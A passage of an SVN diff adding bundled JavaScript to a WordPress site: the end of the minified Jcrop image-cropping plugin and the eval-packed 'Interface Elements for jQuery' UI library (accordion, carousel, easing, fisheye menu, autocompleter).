+if(x1>boundx){var delta=x1-boundy;y2-=delta;y1-=delta;}
+if(y1>boundy){var delta=y1-boundy;y2-=delta;y1-=delta;}
+return makeObj(flipCoords(x1,y1,x2,y2));};function makeObj(a)
+{return{x:a[0],y:a[1],x2:a[2],y2:a[3],w:a[2]-a[0],h:a[3]-a[1]};};return{flipCoords:flipCoords,setPressed:setPressed,setCurrent:setCurrent,getOffset:getOffset,moveOffset:moveOffset,getCorner:getCorner,getFixed:getFixed};}();var Selection=function()
+{var start,end,dragmode,awake,hdep=370;var borders={};var handle={};var seehandles=false;var hhs=options.handleOffset;if(options.drawBorders){borders={top:insertBorder('hline').css('top',$.browser.msie?px(-1):px(0)),bottom:insertBorder('hline'),left:insertBorder('vline'),right:insertBorder('vline')};}
+if(options.dragEdges){handle.t=insertDragbar('n');handle.b=insertDragbar('s');handle.r=insertDragbar('e');handle.l=insertDragbar('w');}
+options.sideHandles&&createHandles(['n','s','e','w']);options.cornerHandles&&createHandles(['sw','nw','ne','se']);function insertBorder(type)
+{var jq=$('<div />').css({position:'absolute',opacity:options.borderOpacity}).addClass(cssClass(type));$img_holder.append(jq);return jq;};function dragDiv(ord,zi)
+{var jq=$('<div />').mousedown(createDragger(ord)).css({cursor:ord+'-resize',position:'absolute',zIndex:zi});$hdl_holder.append(jq);return jq;};function insertHandle(ord)
+{return dragDiv(ord,hdep++).css({top:px(-hhs+1),left:px(-hhs+1),opacity:options.handleOpacity}).addClass(cssClass('handle'));};function insertDragbar(ord)
+{var s=options.handleSize,o=hhs,h=s,w=s,t=o,l=o;switch(ord)
+{case'n':case's':w=pct(100);break;case'e':case'w':h=pct(100);break;}
+return dragDiv(ord,hdep++).width(w).height(h).css({top:px(-t+1),left:px(-l+1)});};function createHandles(li)
+{for(i in li)handle[li[i]]=insertHandle(li[i]);};function moveHandles(c)
+{var midvert=Math.round((c.h/2)-hhs),midhoriz=Math.round((c.w/2)-hhs),north=west=-hhs+1,east=c.w-hhs,south=c.h-hhs,x,y;'e'in handle&&handle.e.css({top:px(midvert),left:px(east)})&&handle.w.css({top:px(midvert)})&&handle.s.css({top:px(south),left:px(midhoriz)})&&handle.n.css({left:px(midhoriz)});'ne'in handle&&handle.ne.css({left:px(east)})&&handle.se.css({top:px(south),left:px(east)})&&handle.sw.css({top:px(south)});'b'in handle&&handle.b.css({top:px(south)})&&handle.r.css({left:px(east)});};function moveto(x,y)
+{$img2.css({top:px(-y),left:px(-x)});$sel.css({top:px(y),left:px(x)});};function resize(w,h)
+{$sel.width(w).height(h);};function refresh()
+{var c=Coords.getFixed();Coords.setPressed([c.x,c.y]);Coords.setCurrent([c.x2,c.y2]);updateVisible();};function updateVisible()
+{if(awake)return update();};function update()
+{var c=Coords.getFixed();resize(c.w,c.h);moveto(c.x,c.y);options.drawBorders&&borders['right'].css({left:px(c.w-1)})&&borders['bottom'].css({top:px(c.h-1)});seehandles&&moveHandles(c);awake||show();options.onChange(unscale(c));};function show()
+{$sel.show();$img.css('opacity',options.bgOpacity);awake=true;};function release()
+{disableHandles();$sel.hide();$img.css('opacity',1);awake=false;};function showHandles()
+{if(seehandles)
+{moveHandles(Coords.getFixed());$hdl_holder.show();}};function enableHandles()
+{seehandles=true;if(options.allowResize)
+{moveHandles(Coords.getFixed());$hdl_holder.show();return true;}};function disableHandles()
+{seehandles=false;$hdl_holder.hide();};function animMode(v)
+{(animating=v)?disableHandles():enableHandles();};function done()
+{animMode(false);refresh();};var $track=newTracker().mousedown(createDragger('move')).css({cursor:'move',position:'absolute',zIndex:360})
+$img_holder.append($track);disableHandles();return{updateVisible:updateVisible,update:update,release:release,refresh:refresh,setCursor:function(cursor){$track.css('cursor',cursor);},enableHandles:enableHandles,enableOnly:function(){seehandles=true;},showHandles:showHandles,disableHandles:disableHandles,animMode:animMode,done:done};}();var Tracker=function()
+{var onMove=function(){},onDone=function(){},trackDoc=options.trackDocument;if(!trackDoc)
+{$trk.mousemove(trackMove).mouseup(trackUp).mouseout(trackUp);}
+function toFront()
+{$trk.css({zIndex:450});if(trackDoc)
+{$(document).mousemove(trackMove).mouseup(trackUp);}}
+function toBack()
+{$trk.css({zIndex:290});if(trackDoc)
+{$(document).unbind('mousemove',trackMove).unbind('mouseup',trackUp);}}
+function trackMove(e)
+{onMove(mouseAbs(e));};function trackUp(e)
+{e.preventDefault();e.stopPropagation();if(btndown)
+{btndown=false;onDone(mouseAbs(e));options.onSelect(unscale(Coords.getFixed()));toBack();onMove=function(){};onDone=function(){};}
+return false;};function activateHandlers(move,done)
+{btndown=true;onMove=move;onDone=done;toFront();return false;};function setCursor(t){$trk.css('cursor',t);};$img.before($trk);return{activateHandlers:activateHandlers,setCursor:setCursor};}();var KeyManager=function()
+{var $keymgr=$('<input type="radio" />').css({position:'absolute',left:'-30px'}).keypress(parseKey).blur(onBlur),$keywrap=$('<div />').css({position:'absolute',overflow:'hidden'}).append($keymgr);function watchKeys()
+{if(options.keySupport)
+{$keymgr.show();$keymgr.focus();}};function onBlur(e)
+{$keymgr.hide();};function doNudge(e,x,y)
+{if(options.allowMove){Coords.moveOffset([x,y]);Selection.updateVisible();};e.preventDefault();e.stopPropagation();};function parseKey(e)
+{if(e.ctrlKey)return true;shift_down=e.shiftKey?true:false;var nudge=shift_down?10:1;switch(e.keyCode)
+{case 37:doNudge(e,-nudge,0);break;case 39:doNudge(e,nudge,0);break;case 38:doNudge(e,0,-nudge);break;case 40:doNudge(e,0,nudge);break;case 27:Selection.release();break;case 9:return true;}
+return nothing(e);};if(options.keySupport)$keywrap.insertBefore($img);return{watchKeys:watchKeys};}();function px(n){return''+parseInt(n)+'px';};function pct(n){return''+parseInt(n)+'%';};function cssClass(cl){return options.baseClass+'-'+cl;};function getPos(obj)
+{var pos=$(obj).offset();return[pos.left,pos.top];};function mouseAbs(e)
+{return[(e.pageX-docOffset[0]),(e.pageY-docOffset[1])];};function myCursor(type)
+{if(type!=lastcurs)
+{Tracker.setCursor(type);lastcurs=type;}};function startDragMode(mode,pos)
+{docOffset=getPos($img);Tracker.setCursor(mode=='move'?mode:mode+'-resize');if(mode=='move')
+return Tracker.activateHandlers(createMover(pos),doneSelect);var fc=Coords.getFixed();var opp=oppLockCorner(mode);var opc=Coords.getCorner(oppLockCorner(opp));Coords.setPressed(Coords.getCorner(opp));Coords.setCurrent(opc);Tracker.activateHandlers(dragmodeHandler(mode,fc),doneSelect);};function dragmodeHandler(mode,f)
+{return function(pos){if(!options.aspectRatio)switch(mode)
+{case'e':pos[1]=f.y2;break;case'w':pos[1]=f.y2;break;case'n':pos[0]=f.x2;break;case's':pos[0]=f.x2;break;}
+else switch(mode)
+{case'e':pos[1]=f.y+1;break;case'w':pos[1]=f.y+1;break;case'n':pos[0]=f.x+1;break;case's':pos[0]=f.x+1;break;}
+Coords.setCurrent(pos);Selection.update();};};function createMover(pos)
+{var lloc=pos;KeyManager.watchKeys();return function(pos)
+{Coords.moveOffset([pos[0]-lloc[0],pos[1]-lloc[1]]);lloc=pos;Selection.update();};};function oppLockCorner(ord)
+{switch(ord)
+{case'n':return'sw';case's':return'nw';case'e':return'nw';case'w':return'ne';case'ne':return'sw';case'nw':return'se';case'se':return'nw';case'sw':return'ne';};};function createDragger(ord)
+{return function(e){if(options.disabled)return false;if((ord=='move')&&!options.allowMove)return false;btndown=true;startDragMode(ord,mouseAbs(e));e.stopPropagation();e.preventDefault();return false;};};function presize($obj,w,h)
+{var nw=$obj.width(),nh=$obj.height();if((nw>w)&&w>0)
+{nw=w;nh=(w/$obj.width())*$obj.height();}
+if((nh>h)&&h>0)
+{nh=h;nw=(h/$obj.height())*$obj.width();}
+xscale=$obj.width()/nw;yscale=$obj.height()/nh;$obj.width(nw).height(nh);};function unscale(c)
+{return{x:parseInt(c.x*xscale),y:parseInt(c.y*yscale),x2:parseInt(c.x2*xscale),y2:parseInt(c.y2*yscale),w:parseInt(c.w*xscale),h:parseInt(c.h*yscale)};};function doneSelect(pos)
+{var c=Coords.getFixed();if(c.w>options.minSelect[0]&&c.h>options.minSelect[1])
+{Selection.enableHandles();Selection.done();}
+else
+{Selection.release();}
+Tracker.setCursor(options.allowSelect?'crosshair':'default');};function newSelection(e)
+{if(options.disabled)return false;if(!options.allowSelect)return false;btndown=true;docOffset=getPos($img);Selection.disableHandles();myCursor('crosshair');var pos=mouseAbs(e);Coords.setPressed(pos);Tracker.activateHandlers(selectDrag,doneSelect);KeyManager.watchKeys();Selection.update();e.stopPropagation();e.preventDefault();return false;};function selectDrag(pos)
+{Coords.setCurrent(pos);Selection.update();};function newTracker()
+{var trk=$('<div></div>').addClass(cssClass('tracker'));$.browser.msie&&trk.css({opacity:0,backgroundColor:'white'});return trk;};function animateTo(a)
+{var x1=a[0]/xscale,y1=a[1]/yscale,x2=a[2]/xscale,y2=a[3]/yscale;if(animating)return;var animto=Coords.flipCoords(x1,y1,x2,y2);var c=Coords.getFixed();var animat=initcr=[c.x,c.y,c.x2,c.y2];var interv=options.animationDelay;var x=animat[0];var y=animat[1];var x2=animat[2];var y2=animat[3];var ix1=animto[0]-initcr[0];var iy1=animto[1]-initcr[1];var ix2=animto[2]-initcr[2];var iy2=animto[3]-initcr[3];var pcent=0;var velocity=options.swingSpeed;Selection.animMode(true);var animator=function()
+{return function()
+{pcent+=(100-pcent)/velocity;animat[0]=x+((pcent/100)*ix1);animat[1]=y+((pcent/100)*iy1);animat[2]=x2+((pcent/100)*ix2);animat[3]=y2+((pcent/100)*iy2);if(pcent<100)animateStart();else Selection.done();if(pcent>=99.8)pcent=100;setSelectRaw(animat);};}();function animateStart()
+{window.setTimeout(animator,interv);};animateStart();};function setSelect(rect)
+{setSelectRaw([rect[0]/xscale,rect[1]/yscale,rect[2]/xscale,rect[3]/yscale]);};function setSelectRaw(l)
+{Coords.setPressed([l[0],l[1]]);Coords.setCurrent([l[2],l[3]]);Selection.update();};function setOptions(opt)
+{if(typeof(opt)!='object')opt={};options=$.extend(options,opt);if(typeof(options.onChange)!=='function')
+options.onChange=function(){};if(typeof(options.onSelect)!=='function')
+options.onSelect=function(){};};function tellSelect()
+{return unscale(Coords.getFixed());};function tellScaled()
+{return Coords.getFixed();};function setOptionsNew(opt)
+{setOptions(opt);interfaceUpdate();};function disableCrop()
+{options.disabled=true;Selection.disableHandles();Selection.setCursor('default');Tracker.setCursor('default');};function enableCrop()
+{options.disabled=false;interfaceUpdate();};function cancelCrop()
+{Selection.done();Tracker.activateHandlers(null,null);};function destroy()
+{$div.remove();$origimg.show();};function interfaceUpdate(alt)
+{options.allowResize?alt?Selection.enableOnly():Selection.enableHandles():Selection.disableHandles();Tracker.setCursor(options.allowSelect?'crosshair':'default');Selection.setCursor(options.allowMove?'move':'default');$div.css('backgroundColor',options.bgColor);if('setSelect'in options){setSelect(opt.setSelect);Selection.done();delete(options.setSelect);}
+if('trueSize'in options){xscale=options.trueSize[0]/boundx;yscale=options.trueSize[1]/boundy;}
+xlimit=options.maxSize[0]||0;ylimit=options.maxSize[1]||0;xmin=options.minSize[0]||0;ymin=options.minSize[1]||0;if('outerImage'in options)
+{$img.attr('src',options.outerImage);delete(options.outerImage);}
+Selection.refresh();};$hdl_holder.hide();interfaceUpdate(true);var api={animateTo:animateTo,setSelect:setSelect,setOptions:setOptionsNew,tellSelect:tellSelect,tellScaled:tellScaled,disable:disableCrop,enable:enableCrop,cancel:cancelCrop,focus:KeyManager.watchKeys,getBounds:function(){return[boundx*xscale,boundy*yscale];},getWidgetSize:function(){return[boundx,boundy];},release:Selection.release,destroy:destroy};$origimg.data('Jcrop',api);return api;};$.fn.Jcrop=function(options)
+{function attachWhenDone(from)
+{var loadsrc=options.useImg||from.src;var img=new Image();img.onload=function(){$.Jcrop(from,options);};img.src=loadsrc;};if(typeof(options)!=='object')options={};this.each(function()
+{if($(this).data('Jcrop'))
+{if(options=='api')return $(this).data('Jcrop');else $(this).data('Jcrop').setOptions(options);}
+else attachWhenDone(this);});return this;};})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/jquery/interface.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/jquery/interface.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/jquery/interface.js	(revision 44)
@@ -0,0 +1,12 @@
+/**
+ * Interface Elements for jQuery
+ * 
+ * http://interface.eyecon.ro
+ * 
+ * Copyright (c) 2006 Stefan Petre
+ * Dual licensed under the MIT (MIT-LICENSE.txt) 
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *   
+ *
+ */
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('A.cP={2l:C(c){G B.1y(C(){if(!c.8Y||!c.8P)G;F b=B;b.2a={9M:c.9M||bz,8Y:c.8Y,8P:c.8P,7R:c.7R||\'du\',9c:c.9c||\'du\',2K:c.2K&&28 c.2K==\'C\'?c.2K:H,2V:c.2K&&28 c.2V==\'C\'?c.2V:H,6D:c.6D&&28 c.6D==\'C\'?c.6D:H,8A:A(c.8Y,B),8a:A(c.8P,B),1l:c.1l||7n,5w:c.5w||0};b.2a.8a.2x().E(\'S\',\'9e\').eq(0).E({S:b.2a.9M+\'Q\',11:\'2v\'}).3m();b.2a.8A.1y(C(a){B.6L=a}).ht(C(){A(B).2H(b.2a.9c)},C(){A(B).3S(b.2a.9c)}).1C(\'4U\',C(e){if(b.2a.5w==B.6L)G;b.2a.8A.eq(b.2a.5w).3S(b.2a.7R).3m().eq(B.6L).2H(b.2a.7R).3m();b.2a.8a.eq(b.2a.5w).4S({S:0},b.2a.1l,C(){B.Y.11=\'1k\';if(b.2a.2V){b.2a.2V.1x(b,[B])}}).3m().eq(B.6L).1S().4S({S:b.2a.9M},b.2a.1l,C(){B.Y.11=\'2v\';if(b.2a.2K){b.2a.2K.1x(b,[B])}}).3m();if(b.2a.6D){b.2a.6D.1x(b,[B,b.2a.8a.I(B.6L),b.2a.8A.I(b.2a.5w),b.2a.8a.I(b.2a.5w)])}b.2a.5w=B.6L}).eq(0).2H(b.2a.7R).3m();A(B).E(\'S\',A(B).E(\'S\')).E(\'2N\',\'2B\')})}};A.fn.fe=A.cP.2l;A.8p={2l:C(h){G B.1y(C(){F c=B;F d=2*Z.2F/eD;F f=2*Z.2F;if(A(c).E(\'T\')!=\'2i\'&&A(c).E(\'T\')!=\'1J\'){A(c).E(\'T\',\'2i\')}c.1i={1M:A(h.1M,B),2y:h.2y,61:h.61,9l:h.9l,iu:f,1N:A.12.2f(B),T:A.12.3a(B),2b:Z.2F/2,b4:h.b4,7K:h.5U,5U:[],93:H,7G:2*Z.2F/eD};c.1i.d8=(c.1i.1N.w-c.1i.2y)/2;c.1i.6Y=(c.1i.1N.h-c.1i.61-c.1i.61*c.1i.7K)/2;c.1i.3f=2*Z.2F/c.1i.1M.1N();c.1i.aS=c.1i.1N.w/2;c.1i.aR=c.1i.1N.h/2-c.1i.61*c.1i.7K;F g=1c.3x(\'1W\');A(g).E({T:\'1J\',3j:1,O:0,M:0});A(c).1L(g);c.1i.1M.1y(C(a){8G=A(\'3O\',B).I(0);S=R(c.1i.61*c.1i.7K);if(A.2R.46){3u=1c.3x(\'3O\');A(3u).E(\'T\',\'1J\');3u.2E=8G.2E;3u.Y.4X=\'fu 9x:9C.9E.a6(1E=60, Y=1, fc=0, f9=0, f5=0, f3=0)\'}L{3u=1c.3x(\'3u\');if(3u.bZ){4j=3u.bZ("2d");3u.Y.T=\'1J\';3u.Y.S=S+\'Q\';3u.Y.V=c.1i.2y+\'Q\';3u.S=S;3u.V=c.1i.2y;4j.eR();4j.eM(0,S);4j.eJ(1,-1);4j.jm(8G,0,0,c.1i.2y,S);4j.bL();4j.jl="jh-3U";F b=4j.jf(0,0,0,S);b.es(1,"eg(1O, 1O, 1O, 1)");b.es(0,"eg(1O, 1O, 1O, 0.6)");4j.j9=b;if(j7.j5.3o(\'iX\')!=-1){4j.iV()}L{4j.iS(0,0,c.1i.2y,S)}}}c.1i.5U[a]=3u;A(g).1L(3u)}).1C(\'9r\',C(e){c.1i.93=14;c.1i.1l=c.1i.7G*0.1*c.1i.1l/Z.3B(c.1i.1l);G H}).1C(\'86\',C(e){c.1i.93=H;G H});A.8p.6z(c);c.1i.1l=c.1i.7G*0.2;c.1i.it=1P.5Y(C(){c.1i.2b+=c.1i.1l;if(c.1i.2b>f)c.1i.2b=0;A.8p.6z(c)},20);A(c).1C(\'86\',C(){c.1i.1l=c.1i.7G*0.2*c.1i.1l/Z.3B(c.1i.1l)}).1C(\'3t\',C(e){if(c.1i.93==H){1A=A.12.3W(e);dr=c.1i.1N.w-1A.x+c.1i.T.x;c.1i.1l=c.1i.b4*c.1i.7G*(c.1i.1N.w/2-dr)/(c.1i.1N.w/2)}})})},6z:C(b){b.1i.1M.1y(C(a){b8=b.1i.2b+a*b.1i.3f;x=b.1i.d8*Z.51(b8);y=b.1i.6Y*Z.7L(b8);do=R(1Y*(b.1i.6Y+y)/(2*b.1i.6Y));dm=(b.1i.6Y+y)/(2*b.1i.6Y);V=R((b.1i.2y-b.1i.9l)*dm+b.1i.9l);S=R(V*b.1i.61/b.1i.2y);B.Y.O=b.1i.aR+y-S/2+"Q";B.Y.M=b.1i.aS+x-V/2+"Q";B.Y.V=V+"Q";B.Y.S=S+"Q";B.Y.3j=do;b.1i.5U[a].Y.O=R(b.1i.aR+y+S-1-S/2)+"Q";b.1i.5U[a].Y.M=R(b.1i.aS+x-V/2)+"Q";b.1i.5U[a].Y.V=V+"Q";b.1i.5U[a].Y.S=R(S*b.1i.7K)+"Q"})}};A.fn.hL=A.8p.2l;A.1U({1e:{b1:C(p,n,a,b,c){G((-Z.51(p*Z.2F)/2)+0.5)*b+a},ho:C(p,n,a,b,c){G b*(n/=c)*n*n+a},d2:C(p,n,a,b,c){G-b*((n=n/c-1)*n*n*n-1)+a},hh:C(p,n,a,b,c){if((n/=c/2)<1)G b/2*n*n*n*n+a;G-b/2*((n-=2)*n*n*n-2)+a},7D:C(p,n,a,b,c){if((n/=c)<(1/2.75)){G b*(7.8W*n*n)+a}L if(n<(2/2.75)){G b*(7.8W*(n-=(1.5/2.75))*n+.75)+a}L if(n<(2.5/2.75)){G b*(7.8W*(n-=(2.25/2.75))*n+.gV)+a}L{G b*(7.8W*(n-=(2.gR/2.75))*n+.gN)+a}},aQ:C(p,n,a,b,c){if(A.1e.7D)G b-A.1e.7D(p,c-n,0,b,c)+a;G a+b},gE:C(p,n,a,b,c){if(A.1e.aQ&&A.1e.7D)if(n<c/2)G A.1e.aQ(p,n*2,0,b,c)*.5+a;G A.1e.7D(p,n*2-c,0,b,c)*.5+b*.5+a;G a+b},gz:C(p,n,b,c,d){F a,s;if(n==0)G b;if((n/=d)==1)G b+c;a=c*0.3;p=d*.3;if(a<Z.3B(c)){a=c;s=p/4}L{s=p/(2*Z.2F)*Z.aP(c/a)}G-(a*Z.5j(2,10*(n-=1))*Z.7L((n*d-s)*(2*Z.2F)/p))+b},gg:C(p,n,b,c,d){F a,s;if(n==0)G b;if((n/=d/2)==2)G b+c;a=c*0.3;p=d*.3;if(a<Z.3B(c)){a=c;s=p/4}L{s=p/(2*Z.2F)*Z.aP(c/a)}G a*Z.5j(2,-10*n)*Z.7L((n*d-s)*(2*Z.2F)/p)+c+b},gd:C(p,n,b,c,d){F a,s;if(n==0)G b;if((n/=d/2)==2)G b+c;a=c*0.3;p=d*.3;if(a<Z.3B(c)){a=c;s=p/4}L{s=p/(2*Z.2F)*Z.aP(c/a)}if(n<1){G-.5*(a*Z.5j(2,10*(n-=1))*Z.7L((n*d-s)*(2*Z.2F)/p))+b}G a*Z.5j(2,-10*(n-=1))*Z.7L((n*d-s)*(2*Z.2F)/p)*.5+c+b}}});A.5K={2l:C(h){G B.1y(C(){F g=B;g.1z={1M:A(h.1M,B),2q:A(h.2q,B),1I:A.12.3a(B),2y:h.2y,8K:h.8K,6q:h.6q,cG:h.cG,4I:h.4I,5R:h.5R};A.5K.8F(g,0);A(1P).1C(\'fR\',C(){g.1z.1I=A.12.3a(g);A.5K.8F(g,0);A.5K.6z(g)});A.5K.6z(g);g.1z.1M.1C(\'9r\',C(){A(g.1z.8K,B).I(0).Y.11=\'2v\'}).1C(\'86\',C(){A(g.1z.8K,B).I(0).Y.11=\'1k\'});A(1c).1C(\'3t\',C(e){F b=A.12.3W(e);F c=0;if(g.1z.4I&&g.1z.4I==\'az\')F d=b.x-g.1z.1I.x-(g.3P-g.1z.2y*g.1z.1M.1N())/2-g.1z.2y/2;L if(g.1z.4I&&g.1z.4I==\'2D\')F d=b.x-g.1z.1I.x-g.3P+g.1z.2y*g.1z.1M.1N();L F d=b.x-g.1z.1I.x;F f=Z.5j(b.y-g.1z.1I.y-g.5r/2,2);g.1z.1M.1y(C(a){3J=Z.cB(Z.5j(d-a*g.1z.2y,2)+f);3J-=g.1z.2y/2;3J=3J<0?0:3J;3J=3J>g.1z.6q?g.1z.6q:3J;3J=g.1z.6q-3J;bc=g.1z.5R*3J/g.1z.6q;B.Y.V=g.1z.2y+bc+\'Q\';B.Y.M=g.1z.2y*a+c+\'Q\';c+=bc});A.5K.8F(g,c)})})},8F:C(a,b){if(a.1z.4I)if(a.1z.4I==\'az\')a.1z.2q.I(0).Y.M=(a.3P-a.1z.2y*a.1z.1M.1N())/2-b/2+\'Q\';L if(a.1z.4I==\'M\')a.1z.2q.I(0).Y.M=-b/a.1z.1M.1N()+\'Q\';L if(a.1z.4I==\'2D\')a.1z.2q.I(0).Y.M=(a.3P-a.1z.2y*a.1z.1M.1N())-b/2+\'Q\';a.1z.2q.I(0).Y.V=a.1z.2y*a.1z.1M.1N()+b+\'Q\'},6z:C(b){b.1z.1M.1y(C(a){B.Y.V=b.1z.2y+\'Q\';B.Y.M=b.1z.2y*a+\'Q\'})}};A.fn.fz=A.5K.2l;A.K={18:P,7W:P,3q:P,2A:P,4b:P,af:P,2r:P,2h:P,1M:P,58:C(){A.K.7W.58();if(A.K.3q){A.K.3q.2x()}},4i:C(){A.K.1M=P;A.K.2h=P;A.K.4b=A.K.2r.2m;if(A.K.18.E(\'11\')==\'2v\'){if(A.K.2r.1a.fx){2X(A.K.2r.1a.fx.1K){19\'a4\':A.K.18.6d(A.K.2r.1a.fx.1H,A.K.58);1n;19\'1u\':A.K.18.c6(A.K.2r.1a.fx.1H,A.K.58);1n;19\'8o\':A.K.18.c3(A.K.2r.1a.fx.1H,A.K.58);1n}}L{A.K.18.2x()}if(A.K.2r.1a.2V)A.K.2r.1a.2V.1x(A.K.2r,[A.K.18,A.K.3q])}L{A.K.58()}1P.a2(A.K.2A)},c1:C(){F e=A.K.2r;F f=A.K.8C(e);if(e&&f.3w!=A.K.4b&&f.3w.1b>=e.1a.8N){A.K.4b=f.3w;A.K.af=f.3w;9V={bR:A(e).1m(\'eS\')||\'bR\',2m:f.3w};A.eQ({1K:\'eN\',9V:A.eL(9V),eK:C(b){e.1a.3X=A(\'3w\',b);1N=e.1a.3X.1N();if(1N>0){F c=\'\';e.1a.3X.1y(C(a){c+=\'<7b 4o="\'+A(\'2m\',B).3D()+\'" 8h="\'+a+\'" Y="7z: 8T;">\'+A(\'3D\',B).3D()+\'</7b>\'});if(e.1a.9K){F d=A(\'2m\',e.1a.3X.I(0)).3D();e.2m=f.30+d+e.1a.3y+f.5m;A.K.64(e,f.3w.1b!=d.1b?(f.30.1b+f.3w.1b):d.1b,f.3w.1b!=d.1b?(f.30.1b+d.1b):d.1b)}if(1N>0){A.K.aU(e,c)}L{A.K.4i()}}L{A.K.4i()}},5v:e.1a.96})}},aU:C(a,b){A.K.7W.3i(b);A.K.1M=A(\'7b\',A.K.7W.I(0));A.K.1M.9r(A.K.en).1C(\'4U\',A.K.ed);F c=A.12.3a(a);F d=A.12.2f(a);A.K.18.E(\'O\',c.y+d.hb+\'Q\').E(\'M\',c.x+\'Q\').2H(a.1a.9D);if(A.K.3q){A.K.3q.E(\'11\',\'2v\').E(\'O\',c.y+d.hb+\'Q\').E(\'M\',c.x+\'Q\').E(\'V\',A.K.18.E(\'V\')).E(\'S\',A.K.18.E(\'S\'))}A.K.2h=0;A.K.1M.I(0).2Z=a.1a.72;A.K.7I(a,a.1a.3X.I(0),\'6H\');if(A.K.18.E(\'11\')==\'1k\'){if(a.1a.bv){F e=A.12.9y(a,14);F f=A.12.6b(a,14);A.K.18.E(\'V\',a.3P-(A.e0?(e.l+e.r+f.l+f.r):0)+\'Q\')}if(a.1a.fx){2X(a.1a.fx.1K){19\'a4\':A.K.18.6U(a.1a.fx.1H);1n;19\'1u\':A.K.18.dR(a.1a.fx.1H);1n;19\'8o\':A.K.18.dP(a.1a.fx.1H);1n}}L{A.K.18.1S()}if(A.K.2r.1a.2K)A.K.2r.1a.2K.1x(A.K.2r,[A.K.18,A.K.3q])}},dM:C(){F b=B;if(b.1a.3X){A.K.4b=b.2m;A.K.af=b.2m;F c=\'\';b.1a.3X.1y(C(a){2m=A(\'2m\',B).3D().5u();dH=b.2m.5u();if(2m.3o(dH)==0){c+=\'<7b 4o="\'+A(\'2m\',B).3D()+\'" 8h="\'+a+\'" Y="7z: 8T;">\'+A(\'3D\',B).3D()+\'</7b>\'}});if(c!=\'\'){A.K.aU(b,c);B.1a.9s=14;G}}b.1a.3X=P;B.1a.9s=H},64:C(a,b,c){if(a.9q){F d=a.9q();d.iJ(14);d.dC("bh",b);d.iE("bh",-c+b);d.7Q()}L if(a.9m){a.9m(b,c)}L{if(a.88){a.88=b;a.dA=c}}a.6a()},dw:C(a){if(a.88)G a.88;L if(a.9q){F b=1c.64.dv();F c=b.il();G 0-c.dC(\'bh\',-ij)}},8C:C(a){F b={2m:a.2m,30:\'\',5m:\'\',3w:\'\'};if(a.1a.9k){F c=H;F d=A.K.dw(a)||0;F e=b.2m.6W(a.1a.3y);1V(F i=0;i<e.1b;i++){if((b.30.1b+e[i].1b>=d||d==0)&&!c){if(b.30.1b<=d)b.3w=e[i];L b.5m+=e[i]+(e[i]!=\'\'?a.1a.3y:\'\');c=14}L if(c){b.5m+=e[i]+(e[i]!=\'\'?a.1a.3y:\'\')}if(!c){b.30+=e[i]+(e.1b>1?a.1a.3y:\'\')}}}L{b.3w=b.2m}G b},b9:C(e){1P.a2(A.K.2A);F a=A.K.8C(B);F b=e.6S||e.6R||-1;if(/13|27|35|36|38|40|9/.3M(b)&&A.K.1M){if(1P.3N){1P.3N.b6=14;1P.3N.b5=H}L{e.9b();e.99()}if(A.K.2h!=P)A.K.1M.I(A.K.2h||0).2Z=\'\';L A.K.2h=-1;2X(b){19 9:19 13:if(A.K.2h==-1)A.K.2h=0;F c=A.K.1M.I(A.K.2h||0);F d=c.4Z(\'4o\');B.2m=a.30+d+B.1a.3y+a.5m;A.K.4b=a.3w;A.K.64(B,a.30.1b+d.1b+B.1a.3y.1b,a.30.1b+d.1b+B.1a.3y.1b);A.K.4i();if(B.1a.5p){4E=R(c.4Z(\'8h\'))||0;A.K.7I(B,B.1a.3X.I(4E),\'5p\')}if(B.6O)B.6O(H);G b!=13;1n;19 27:B.2m=a.30+A.K.4b+B.1a.3y+a.5m;B.1a.3X=P;A.K.4i();if(B.6O)B.6O(H);G H;1n;19 35:A.K.2h=A.K.1M.1N()-1;1n;19 36:A.K.2h=0;1n;19 38:A.K.2h--;if(A.K.2h<0)A.K.2h=A.K.1M.1N()-1;1n;19 40:A.K.2h++;if(A.K.2h==A.K.1M.1N())A.K.2h=0;1n}A.K.7I(B,B.1a.3X.I(A.K.2h||0),\'6H\');A.K.1M.I(A.K.2h||0).2Z=B.1a.72;if(A.K.1M.I(A.K.2h||0).6O)A.K.1M.I(A.K.2h||0).6O(H);if(B.1a.9K){F f=A.K.1M.I(A.K.2h||0).4Z(\'4o\');B.2m=a.30+f+B.1a.3y+a.5m;if(A.K.4b.1b!=f.1b)A.K.64(B,a.30.1b+A.K.4b.1b,a.30.1b+f.1b)}G H}A.K.dM.1x(B);if(B.1a.9s==H){if(a.3w!=A.K.4b&&a.3w.1b>=B.1a.8N)A.K.2A=1P.97(A.K.c1,B.1a.4w);if(A.K.1M){A.K.4i()}}G 14},7I:C(a,b,c){if(a.1a[c]){F d={};94=b.dj(\'*\');1V(i=0;i<94.1b;i++){d[94[i].4D]=94[i].6M.hG}a.1a[c].1x(a,[d])}},en:C(e){if(A.K.1M){if(A.K.2h!=P)A.K.1M.I(A.K.2h||0).2Z=\'\';A.K.1M.I(A.K.2h||0).2Z=\'\';A.K.2h=R(B.4Z(\'8h\'))||0;A.K.1M.I(A.K.2h||0).2Z=A.K.2r.1a.72}},ed:C(a){1P.a2(A.K.2A);a=a||A.3N.hD(1P.3N);a.9b();a.99();F b=A.K.8C(A.K.2r);F c=B.4Z(\'4o\');A.K.2r.2m=b.30+c+A.K.2r.1a.3y+b.5m;A.K.4b=B.4Z(\'4o\');A.K.64(A.K.2r,b.30.1b+c.1b+A.K.2r.1a.3y.1b,b.30.1b+c.1b+A.K.2r.1a.3y.1b);A.K.4i();if(A.K.2r.1a.5p){4E=R(B.4Z(\'8h\'))||0;A.K.7I(A.K.2r,A.K.2r.1a.3X.I(4E),\'5p\')}G H},dh:C(e){6K=e.6S||e.6R||-1;if(/13|27|35|36|38|40/.3M(6K)&&A.K.1M){if(1P.3N){1P.3N.b6=14;1P.3N.b5=H}L{e.9b();e.99()}G 